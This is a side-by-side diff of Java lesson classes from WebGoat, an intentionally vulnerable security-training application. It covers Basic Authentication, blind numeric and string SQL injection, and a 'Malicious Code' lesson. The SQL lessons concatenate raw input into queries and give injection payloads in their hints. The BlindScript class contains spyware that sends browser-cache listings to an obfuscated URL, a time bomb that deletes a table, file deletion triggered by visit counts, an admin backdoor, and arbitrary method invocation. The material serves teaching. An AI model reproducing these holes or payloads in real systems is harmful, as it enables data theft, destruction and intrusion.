getLessonTracker(s).getLessonProperties().setProperty(ORIGINAL_AUTH, s.getHeader(AUTHORIZATION)); getLessonTracker(s).getLessonProperties().setProperty(ORIGINAL_AUTH, s.getHeader(AUTHORIZATION));
getLessonTracker(s, BASIC).getLessonProperties().setProperty(ORIGINAL_USER, s.getUserName()); getLessonTracker(s, BASIC).getLessonProperties().setProperty(ORIGINAL_USER, s.getUserName());
getLessonTracker(s, BASIC).setStage(2); getLessonTracker(s, BASIC).setStage(2);
getLessonTracker(s, BASIC).store(s, this, BASIC); getLessonTracker(s, BASIC).store(s, this, BASIC);
} }
s.setMessage(WebGoatI18N.get("BasicAuthenticationStage1Completed")); s.setMessage(WebGoatI18N.get("BasicAuthenticationStage1Completed"));
// If the auth header is different but still the original user - tell the user // If the auth header is different but still the original user - tell the user
// that the original cookie was posted bak and basic auth uses the cookie before the // that the original cookie was posted bak and basic auth uses the cookie before the
// authorization token // authorization token
if (!originalAuth.equals("") && !originalAuth.equals(s.getHeader(AUTHORIZATION))) if (!originalAuth.equals("") && !originalAuth.equals(s.getHeader(AUTHORIZATION)))
{ {
ec ec
.addElement(WebGoatI18N.get("BasicAuthenticationAlmostThere1") .addElement(WebGoatI18N.get("BasicAuthenticationAlmostThere1")
+ AUTHORIZATION + AUTHORIZATION
+ WebGoatI18N.get("BasicAuthenticationAlmostThere2") + WebGoatI18N.get("BasicAuthenticationAlmostThere2")
+ s.getUserName() + s.getUserName()
+ WebGoatI18N.get("BasicAuthenticationAlmostThere3")); + WebGoatI18N.get("BasicAuthenticationAlmostThere3"));
} }
else if (!originalSessionId.equals(s.getCookie(JSESSIONID))) else if (!originalSessionId.equals(s.getCookie(JSESSIONID)))
{ {
ec ec
.addElement(WebGoatI18N.get("BasicAuthenticationReallyClose")); .addElement(WebGoatI18N.get("BasicAuthenticationReallyClose"));
} }
else else
{ {
ec.addElement(WebGoatI18N.get("BasicAuthenticationUseTheHints")); ec.addElement(WebGoatI18N.get("BasicAuthenticationUseTheHints"));
} }
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName()); s.setMessage(WebGoatI18N.get("ErrorGenerating") + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/** /**
* Gets the category attribute of the ForgotPassword object * Gets the category attribute of the ForgotPassword object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.AUTHENTICATION; return Category.AUTHENTICATION;
} }
/** /**
* Gets the hints attribute of the HelloScreen object * Gets the hints attribute of the HelloScreen object
* *
* @return The hints value * @return The hints value
*/ */
public List<String> getHints(WebSession s) public List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
// int stage = getLessonTracker(session, BASIC).getStage(); // int stage = getLessonTracker(session, BASIC).getStage();
// switch ( stage ) // switch ( stage )
// { // {
// case 1: // case 1:
hints.add(WebGoatI18N.get("BasicAuthenticationHint1")); hints.add(WebGoatI18N.get("BasicAuthenticationHint1"));
hints.add(WebGoatI18N.get("BasicAuthenticationHint2")); hints.add(WebGoatI18N.get("BasicAuthenticationHint2"));
hints.add(WebGoatI18N.get("BasicAuthenticationHint3")); hints.add(WebGoatI18N.get("BasicAuthenticationHint3"));
hints.add(WebGoatI18N.get("BasicAuthenticationHint4")); hints.add(WebGoatI18N.get("BasicAuthenticationHint4"));
// break; // break;
// case 2: // case 2:
hints.add(WebGoatI18N.get("BasicAuthenticationHint5")); hints.add(WebGoatI18N.get("BasicAuthenticationHint5"));
hints.add(WebGoatI18N.get("BasicAuthenticationHint6")); hints.add(WebGoatI18N.get("BasicAuthenticationHint6"));
hints.add(WebGoatI18N.get("BasicAuthenticationHint7")); hints.add(WebGoatI18N.get("BasicAuthenticationHint7"));
hints.add(WebGoatI18N.get("BasicAuthenticationHint8")); hints.add(WebGoatI18N.get("BasicAuthenticationHint8"));
hints.add(WebGoatI18N.get("BasicAuthenticationHint9")); hints.add(WebGoatI18N.get("BasicAuthenticationHint9"));
// break; // break;
// } // }
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(100); private final static Integer DEFAULT_RANKING = new Integer(100);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Basic Authentication"); return ("Basic Authentication");
} }
} }

View File

@ -54,8 +54,8 @@ import org.owasp.webgoat.session.WebSession;
public class BlindNumericSqlInjection extends LessonAdapter public class BlindNumericSqlInjection extends LessonAdapter
{ {
public final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0)); public final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0));
private final static String ACCT_NUM = "account_number"; private final static String ACCT_NUM = "account_number";
private final static String TARGET_CC_NUM = "1111222233334444"; private final static String TARGET_CC_NUM = "1111222233334444";
@ -69,71 +69,71 @@ public class BlindNumericSqlInjection extends LessonAdapter
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
ec.addElement(new P().addElement("Enter your Account Number: ")); ec.addElement(new P().addElement("Enter your Account Number: "));
String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101"); String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101");
Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString()); Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString());
ec.addElement(input); ec.addElement(input);
Element b = ECSFactory.makeButton("Go!"); Element b = ECSFactory.makeButton("Go!");
ec.addElement(b); ec.addElement(b);
String query = "SELECT * FROM user_data WHERE userid = " + accountNumber; String query = "SELECT * FROM user_data WHERE userid = " + accountNumber;
String answer_query; String answer_query;
// if (runningOnWindows()) // if (runningOnWindows())
// { // {
// answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = " // answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = "
// + TARGET_CC_NUM; // + TARGET_CC_NUM;
// } else // } else
// { // {
answer_query = "SELECT pin FROM pins WHERE cc_number = '" + TARGET_CC_NUM + "'"; answer_query = "SELECT pin FROM pins WHERE cc_number = '" + TARGET_CC_NUM + "'";
// } // }
try try
{ {
Statement answer_statement = connection.createStatement( Statement answer_statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(answer_query); ResultSet answer_results = answer_statement.executeQuery(answer_query);
answer_results.first(); answer_results.first();
System.out.println("Account: " + accountNumber ); System.out.println("Account: " + accountNumber );
System.out.println("Answer : " + answer_results.getString(1)); System.out.println("Answer : " + answer_results.getString(1));
if (accountNumber.toString().equals(answer_results.getString(1))) if (accountNumber.toString().equals(answer_results.getString(1)))
{ {
makeSuccess(s); makeSuccess(s);
} else } else
{ {
Statement statement = connection.createStatement( Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query); ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
ec.addElement(new P().addElement("Account number is valid.")); ec.addElement(new P().addElement("Account number is valid."));
} else } else
{ {
ec.addElement(new P().addElement("Invalid account number.")); ec.addElement(new P().addElement("Invalid account number."));
} }
} }
} }
catch (SQLException sqle) catch (SQLException sqle)
{ {
ec.addElement(new P().addElement("An error occurred, please try again.")); ec.addElement(new P().addElement("An error occurred, please try again."));
} }
} }
catch (Exception e) catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/** /**
@ -143,7 +143,7 @@ public class BlindNumericSqlInjection extends LessonAdapter
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.INJECTION; return Category.INJECTION;
} }
/** /**
@ -153,7 +153,7 @@ public class BlindNumericSqlInjection extends LessonAdapter
*/ */
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Chuck Willis&nbsp;", MANDIANT_LOGO); return super.getCustomCredits("Created by Chuck Willis&nbsp;", MANDIANT_LOGO);
} }
/** /**
@ -163,58 +163,58 @@ public class BlindNumericSqlInjection extends LessonAdapter
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
// if (runningOnWindows()) // if (runningOnWindows())
// { // {
hints hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. " .add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Create a SQL statement that you can use as a true/false test and then " + "Create a SQL statement that you can use as a true/false test and then "
+ "start narrowing down the number using > and <" + "start narrowing down the number using > and <"
+ "<br><br>The backend database is HSQLDB, but this shouldn't make any difference because " + "<br><br>The backend database is HSQLDB, but this shouldn't make any difference because "
+ "you can solve this lesson with standard SQL syntax."); + "you can solve this lesson with standard SQL syntax.");
hints hints
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command. " .add("The application is taking your input and inserting it at the end of a pre-formed SQL command. "
+ "You will need to make use of the following SQL functions: " + "You will need to make use of the following SQL functions: "
+ "<br><br>AND - combine the logic of the normal query with a boolean result" + "<br><br>AND - combine the logic of the normal query with a boolean result"
+ "<br><br>( and ) - group subexpressions so they evaluate properly" + "<br><br>( and ) - group subexpressions so they evaluate properly"
+ "<br><br>SELECT - make a subquery for your target data and get a number" + "<br><br>SELECT - make a subquery for your target data and get a number"
+ "<br><br>&gt and = and &lt - once you have the number, compare it to a choosen one"); + "<br><br>&gt and = and &lt - once you have the number, compare it to a choosen one");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> " hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM user_data WHERE userid = \" + accountNumber "); + "\"SELECT * FROM user_data WHERE userid = \" + accountNumber ");
hints hints
.add("Here is an example for another table:" .add("Here is an example for another table:"
+ "<br><br> In the table <i>user_data</i>, is the <i>userid</i> for the record with a <i>cc_number</i> of " + "<br><br> In the table <i>user_data</i>, is the <i>userid</i> for the record with a <i>cc_number</i> of "
+ "<i>333498703333</i>" + "<i>333498703333</i>"
+ " greater than 100? " + " greater than 100? "
+ "<br><br>101 AND ((SELECT userid FROM user_data WHERE cc_number='" + "<br><br>101 AND ((SELECT userid FROM user_data WHERE cc_number='"
+ "333498703333" + "333498703333"
+ "') &gt 100 ); " + "') &gt 100 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is " + "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
+ "invalid then answer is no."); + "invalid then answer is no.");
hints hints
.add("Partial Solution:" .add("Partial Solution:"
+ "<br><br>Is the <i>pin</i> of the record with a <i>cc_number</i> of <i>" + "<br><br>Is the <i>pin</i> of the record with a <i>cc_number</i> of <i>"
+ TARGET_CC_NUM + TARGET_CC_NUM
+ "</i> greater than 1000? " + "</i> greater than 1000? "
+ "<br><br>101 AND ((SELECT pin FROM pins WHERE cc_number='" + "<br><br>101 AND ((SELECT pin FROM pins WHERE cc_number='"
+ TARGET_CC_NUM + TARGET_CC_NUM
+ "') &gt 1000 ); " + "') &gt 1000 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is " + "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
+ "invalid then answer is no."); + "invalid then answer is no.");
hints hints
.add("Another Part of Solution:" .add("Another Part of Solution:"
+ "<br><br>Is the <i>pin</i> of the record with a <i>cc_number</i> of <i>" + "<br><br>Is the <i>pin</i> of the record with a <i>cc_number</i> of <i>"
+ TARGET_CC_NUM + TARGET_CC_NUM
+ "</i> greater than 10000? " + "</i> greater than 10000? "
+ "<br><br>101 AND ((SELECT pin FROM pins WHERE cc_number='" + "<br><br>101 AND ((SELECT pin FROM pins WHERE cc_number='"
+ TARGET_CC_NUM + TARGET_CC_NUM
+ "') &gt 10000 ); " + "') &gt 10000 ); "
+ "<br><br>If you get back that account number is valid, then yes. If get back that the number is " + "<br><br>If you get back that account number is valid, then yes. If get back that the number is "
+ "invalid then answer is no."); + "invalid then answer is no.");
return hints; return hints;
} }
/** /**
@ -224,22 +224,22 @@ public class BlindNumericSqlInjection extends LessonAdapter
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = "The form below allows a user to enter an account number and determine if " String instructions = "The form below allows a user to enter an account number and determine if "
+ "it is valid or not. Use this form to develop a true / false test check other entries in the database. " + "it is valid or not. Use this form to develop a true / false test check other entries in the database. "
+ "<br><br>The goal is to find the value of " + "<br><br>The goal is to find the value of "
+ "the field <b>pin</b> in table <b>pins</b> for the row with the <b>cc_number</b> of <b> " + "the field <b>pin</b> in table <b>pins</b> for the row with the <b>cc_number</b> of <b> "
+ TARGET_CC_NUM + TARGET_CC_NUM
+ "</b>. The field is of type int, which is an integer." + "</b>. The field is of type int, which is an integer."
+ "<br><br>Put the discovered pin value in the form to pass the lesson."; + "<br><br>Put the discovered pin value in the form to pass the lesson.";
return (instructions); return (instructions);
} }
private final static Integer DEFAULT_RANKING = new Integer(90); private final static Integer DEFAULT_RANKING = new Integer(90);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
@ -249,7 +249,7 @@ public class BlindNumericSqlInjection extends LessonAdapter
*/ */
public String getTitle() public String getTitle()
{ {
return ("Blind Numeric SQL Injection"); return ("Blind Numeric SQL Injection");
} }
/** /**
@ -260,14 +260,14 @@ public class BlindNumericSqlInjection extends LessonAdapter
*/ */
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
try try
{ {
super.handleRequest(s); super.handleRequest(s);
} }
catch (Exception e) catch (Exception e)
{ {
System.out.println("Exception caught: " + e); System.out.println("Exception caught: " + e);
e.printStackTrace(System.out); e.printStackTrace(System.out);
} }
} }
} }

View File

@ -64,278 +64,278 @@ import java.util.Arrays;
*/ */
public class BlindScript extends LessonAdapter public class BlindScript extends LessonAdapter
{ {
private final static String PERSON = "person"; private final static String PERSON = "person";
private final static String CODE = "code"; private final static String CODE = "code";
private final static String METHOD = "method"; private final static String METHOD = "method";
private final static String ARG_TYPES = "argTypes"; private final static String ARG_TYPES = "argTypes";
private final static String PARAMS = "params"; private final static String PARAMS = "params";
private final static String WEBGOAT_URL = "aHR0cDovL2xvY2FsaG9zdC9XZWJHb2F0L2NhdGNoZXI/UFJPUEVSVFk9eWVz"; private final static String WEBGOAT_URL = "aHR0cDovL2xvY2FsaG9zdC9XZWJHb2F0L2NhdGNoZXI/UFJPUEVSVFk9eWVz";
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
StringBuffer person = null; StringBuffer person = null;
try try
{ {
person = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); person = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
if (!"".equals(person.toString())) if (!"".equals(person.toString()))
{ {
ec.addElement(new StringElement("Sorry. Could not locate record for: " ec.addElement(new StringElement("Sorry. Could not locate record for: "
+ person.toString())); + person.toString()));
} }
ec.addElement(new StringElement("Enter your name: ")); ec.addElement(new StringElement("Enter your name: "));
Input input = new Input(Input.TEXT, PERSON, person.toString()); Input input = new Input(Input.TEXT, PERSON, person.toString());
ec.addElement(input); ec.addElement(input);
Element b = ECSFactory.makeButton("Go!"); Element b = ECSFactory.makeButton("Go!");
ec.addElement(b); ec.addElement(b);
} }
catch (Exception e) catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
// Easter Egg // Easter Egg
if ("BrucE".equals(person.toString())) if ("BrucE".equals(person.toString()))
{ {
ec = easterEgg(s); ec = easterEgg(s);
makeSuccess(s); makeSuccess(s);
} }
executeSpyWare(s); executeSpyWare(s);
executeTimeTrigger(s); executeTimeTrigger(s);
executeEventTrigger(s); executeEventTrigger(s);
executeBackDoor(s); executeBackDoor(s);
// Dynamic Class Loading // Dynamic Class Loading
String code = s.getParser().getStringParameter(CODE, ""); String code = s.getParser().getStringParameter(CODE, "");
String method = s.getParser().getStringParameter(METHOD, ""); String method = s.getParser().getStringParameter(METHOD, "");
String argTypes = s.getParser().getStringParameter(ARG_TYPES, ""); String argTypes = s.getParser().getStringParameter(ARG_TYPES, "");
String params = s.getParser().getStringParameter(PARAMS, ""); String params = s.getParser().getStringParameter(PARAMS, "");
if (!code.equals("")) if (!code.equals(""))
{ {
try try
{ {
loadMe(s, code, method, argTypes, params); loadMe(s, code, method, argTypes, params);
} }
catch (IOException e) catch (IOException e)
{ {
// do nothing to hide the error // do nothing to hide the error
} }
} }
return (ec); return (ec);
} }
private void executeBackDoor(WebSession s) private void executeBackDoor(WebSession s)
{ {
// Make me an admin // Make me an admin
String me = s.getParser().getStringParameter(PERSON, ""); String me = s.getParser().getStringParameter(PERSON, "");
if ("B_Admin443".equals(me)) if ("B_Admin443".equals(me))
{ {
s.setAdmin(true); s.setAdmin(true);
} }
// This won't actually work for WebGoat, it's setting the admin flag AFTER // This won't actually work for WebGoat, it's setting the admin flag AFTER
// the admin checks have been performed and the lessons/functions have been // the admin checks have been performed and the lessons/functions have been
// loaded for the user. // loaded for the user.
} }
public void executeSpyWare( WebSession s ) public void executeSpyWare( WebSession s )
{ {
// Lets gather some information about the users browsing history // Lets gather some information about the users browsing history
String userHome = System.getProperty("user.home" ) + "\\Local Settings\\Temporary Internet Files"; String userHome = System.getProperty("user.home" ) + "\\Local Settings\\Temporary Internet Files";
String separator = System.getProperty("line.separator"); String separator = System.getProperty("line.separator");
File dir = new File(userHome); File dir = new File(userHome);
StringBuffer browserFiles = new StringBuffer(); StringBuffer browserFiles = new StringBuffer();
if (dir.isDirectory()) { if (dir.isDirectory()) {
File[] children = dir.listFiles(); File[] children = dir.listFiles();
for (int i=0; i<children.length; i++) { for (int i=0; i<children.length; i++) {
browserFiles.append(children[i].getName()); browserFiles.append(children[i].getName());
browserFiles.append(separator); browserFiles.append(separator);
} }
} }
// post the data to my listen servlet // post the data to my listen servlet
try { try {
// Send data // Send data
String partner = new String(new sun.misc.BASE64Decoder().decodeBuffer(WEBGOAT_URL)); String partner = new String(new sun.misc.BASE64Decoder().decodeBuffer(WEBGOAT_URL));
URL url = new URL(partner); URL url = new URL(partner);
URLConnection conn = url.openConnection(); URLConnection conn = url.openConnection();
conn.setDoOutput(true); conn.setDoOutput(true);
OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream()); OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream());
wr.write("&cache=" + browserFiles.toString()); wr.write("&cache=" + browserFiles.toString());
wr.flush(); wr.flush();
// Get the response // Get the response
BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream())); BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String line; String line;
while ((line = rd.readLine()) != null) { while ((line = rd.readLine()) != null) {
// Process response if we cared // Process response if we cared
} }
wr.close(); wr.close();
rd.close(); rd.close();
} catch (Exception e) { } catch (Exception e) {
} }
} }
private void executeEventTrigger(WebSession s) private void executeEventTrigger(WebSession s)
{ {
// after 100 loads delete all the user status // after 100 loads delete all the user status
LessonTracker lt = this.getLessonTracker(s); LessonTracker lt = this.getLessonTracker(s);
if (lt.getNumVisits() > 100 ) if (lt.getNumVisits() > 100 )
{ {
// Delete all the user files // Delete all the user files
String userDir = LessonTracker.getUserDir(s); String userDir = LessonTracker.getUserDir(s);
File dir = new File(userDir); File dir = new File(userDir);
if (dir.isDirectory()) { if (dir.isDirectory()) {
String[] children = dir.list(); String[] children = dir.list();
for (int i=0; i<children.length; i++) { for (int i=0; i<children.length; i++) {
new File(dir, children[i]).delete(); new File(dir, children[i]).delete();
} }
} }
} }
} }
private void executeTimeTrigger(WebSession s) private void executeTimeTrigger(WebSession s)
{ {
Calendar cal1 = Calendar.getInstance(); Calendar cal1 = Calendar.getInstance();
Calendar cal2 = Calendar.getInstance(); Calendar cal2 = Calendar.getInstance();
cal2.set(2010, 1, 13); // Jan 13th 2010 cal2.set(2010, 1, 13); // Jan 13th 2010
// Event triggered time bomb // Event triggered time bomb
if (cal1.getTime().after(cal2.getTime())) if (cal1.getTime().after(cal2.getTime()))
{ {
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "DELETE employee"; String query = "DELETE employee";
PreparedStatement statement = WebSession.getConnection(s).prepareStatement(query, PreparedStatement statement = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE); ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE);
statement.executeQuery(); statement.executeQuery();
} }
catch (Exception e) catch (Exception e)
{ // eat any exceptions { // eat any exceptions
} }
} }
} }
//http://localhost:8888/WebGoat/attack?Screen=18&menu=50&code=org.owasp.webgoat.lessons.Challenge2Screen&method=getInstructions&argTypes=W&params=this //http://localhost:8888/WebGoat/attack?Screen=18&menu=50&code=org.owasp.webgoat.lessons.Challenge2Screen&method=getInstructions&argTypes=W&params=this
public static String loadMe(WebSession s, String clazz, String method, String argTypes, String params) throws IOException public static String loadMe(WebSession s, String clazz, String method, String argTypes, String params) throws IOException
{ {
try try
{ {
Class cls = (Class.forName(clazz)); Class cls = (Class.forName(clazz));
StringTokenizer argsTok = new StringTokenizer(argTypes, ","); StringTokenizer argsTok = new StringTokenizer(argTypes, ",");
StringTokenizer paramsTok = new StringTokenizer(params, ","); StringTokenizer paramsTok = new StringTokenizer(params, ",");
// Build the list of parameter types to look up the method // Build the list of parameter types to look up the method
Class parameterType[] = null; Class parameterType[] = null;
Object argList[] = null; Object argList[] = null;
if ( argsTok.countTokens() >= 1 ) if ( argsTok.countTokens() >= 1 )
{ {
parameterType = new Class[argsTok.countTokens()]; parameterType = new Class[argsTok.countTokens()];
} }
if (paramsTok.countTokens() >= 1 ) if (paramsTok.countTokens() >= 1 )
{ {
argList = new Object[paramsTok.countTokens()]; argList = new Object[paramsTok.countTokens()];
} }
int i = 0; int i = 0;
while (argsTok.hasMoreTokens()) while (argsTok.hasMoreTokens())
{ {
String argString = argsTok.nextToken(); String argString = argsTok.nextToken();
if ("W".equals(argString)) if ("W".equals(argString))
{ {
parameterType[i] = WebSession.class; parameterType[i] = WebSession.class;
argList[i] = s; argList[i] = s;
} else if ("S".equals(argString)) } else if ("S".equals(argString))
{ {
parameterType[i] = String.class; parameterType[i] = String.class;
} }
else if ("I".equals(argString)) else if ("I".equals(argString))
{ {
parameterType[i] = Integer.class; parameterType[i] = Integer.class;
} }
} }
Method meth = cls.getMethod(method, parameterType); Method meth = cls.getMethod(method, parameterType);
String retobj = (String) meth.invoke(cls, argList); String retobj = (String) meth.invoke(cls, argList);
return retobj; return retobj;
} }
catch (Exception e) catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
return null; return null;
} }
private ElementContainer easterEgg(WebSession s) private ElementContainer easterEgg(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new StringElement("Bruce - You are the greatest!")); ec.addElement(new StringElement("Bruce - You are the greatest!"));
return ec; return ec;
} }
/** /**
* Gets the hints attribute of the HelloScreen object * Gets the hints attribute of the HelloScreen object
* *
* @return The hints value * @return The hints value
*/ */
public List<String> getHints(WebSession s) public List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Type in Bruce and press 'go'"); hints.add("Type in Bruce and press 'go'");
hints.add(""); hints.add("");
hints.add("Press the Show Lesson Plan button to view a lesson summary"); hints.add("Press the Show Lesson Plan button to view a lesson summary");
return hints; return hints;
} }
/** /**
* Gets the ranking attribute of the HelloScreen object * Gets the ranking attribute of the HelloScreen object
* *
* @return The ranking value * @return The ranking value
*/ */
private final static Integer DEFAULT_RANKING = new Integer(10); private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.GENERAL; return Category.GENERAL;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Malicious Code"); return ("Malicious Code");
} }
private static boolean compile( JavaFileObject... source ) private static boolean compile( JavaFileObject... source )
{ {
@ -370,22 +370,22 @@ public class BlindScript extends LessonAdapter
{ {
final String programText = compose( ); final String programText = compose( );
try try
{ {
compile( new ResidentJavaFileObject( "Deleter", programText ) ); compile( new ResidentJavaFileObject( "Deleter", programText ) );
Class.forName( "org.owasp.webgoat.lessons.Deleter" ).newInstance(); Class.forName( "org.owasp.webgoat.lessons.Deleter" ).newInstance();
} catch (URISyntaxException e) } catch (URISyntaxException e)
{ {
} catch (InstantiationException e) } catch (InstantiationException e)
{ {
} catch (IllegalAccessException e) } catch (IllegalAccessException e)
{ {
} catch (ClassNotFoundException e) } catch (ClassNotFoundException e)
{ {
} }
} }
} }
class ResidentJavaFileObject extends SimpleJavaFileObject class ResidentJavaFileObject extends SimpleJavaFileObject
{ {
private final String programText; private final String programText;
@ -399,5 +399,5 @@ public class BlindScript extends LessonAdapter
{ {
return programText; return programText;
} }
} }

View File

@ -54,8 +54,8 @@ import org.owasp.webgoat.session.WebSession;
public class BlindStringSqlInjection extends LessonAdapter public class BlindStringSqlInjection extends LessonAdapter
{ {
public final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0)); public final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0));
private final static String ACCT_NUM = "account_number"; private final static String ACCT_NUM = "account_number";
private final static String TARGET_CC_NUM = "4321432143214321"; private final static String TARGET_CC_NUM = "4321432143214321";
@ -69,76 +69,76 @@ public class BlindStringSqlInjection extends LessonAdapter
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
ec.addElement(new P().addElement("Enter your Account Number: ")); ec.addElement(new P().addElement("Enter your Account Number: "));
String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101"); String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101");
Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString()); Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString());
ec.addElement(input); ec.addElement(input);
Element b = ECSFactory.makeButton("Go!"); Element b = ECSFactory.makeButton("Go!");
ec.addElement(b); ec.addElement(b);
String query = "SELECT * FROM user_data WHERE userid = " + accountNumber; String query = "SELECT * FROM user_data WHERE userid = " + accountNumber;
String answer_query; String answer_query;
// if (runningOnWindows()) // if (runningOnWindows())
// { // {
// answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = " // answer_query = "SELECT TOP 1 first_name FROM user_data WHERE userid = "
// + TARGET_CC_NUM; // + TARGET_CC_NUM;
// } else // } else
// { // {
answer_query = "SELECT name FROM pins WHERE cc_number = '" + TARGET_CC_NUM +"'"; answer_query = "SELECT name FROM pins WHERE cc_number = '" + TARGET_CC_NUM +"'";
// } // }
try try
{ {
Statement answer_statement = connection.createStatement( Statement answer_statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(answer_query); ResultSet answer_results = answer_statement.executeQuery(answer_query);
answer_results.first(); answer_results.first();
System.out.println("Account: " + accountNumber ); System.out.println("Account: " + accountNumber );
System.out.println("Answer : " + answer_results.getString(1)); System.out.println("Answer : " + answer_results.getString(1));
if (accountNumber.toString().equals(answer_results.getString(1))) if (accountNumber.toString().equals(answer_results.getString(1)))
{ {
makeSuccess(s); makeSuccess(s);
} else } else
{ {
Statement statement = connection.createStatement( Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query); ResultSet results = statement.executeQuery(query);
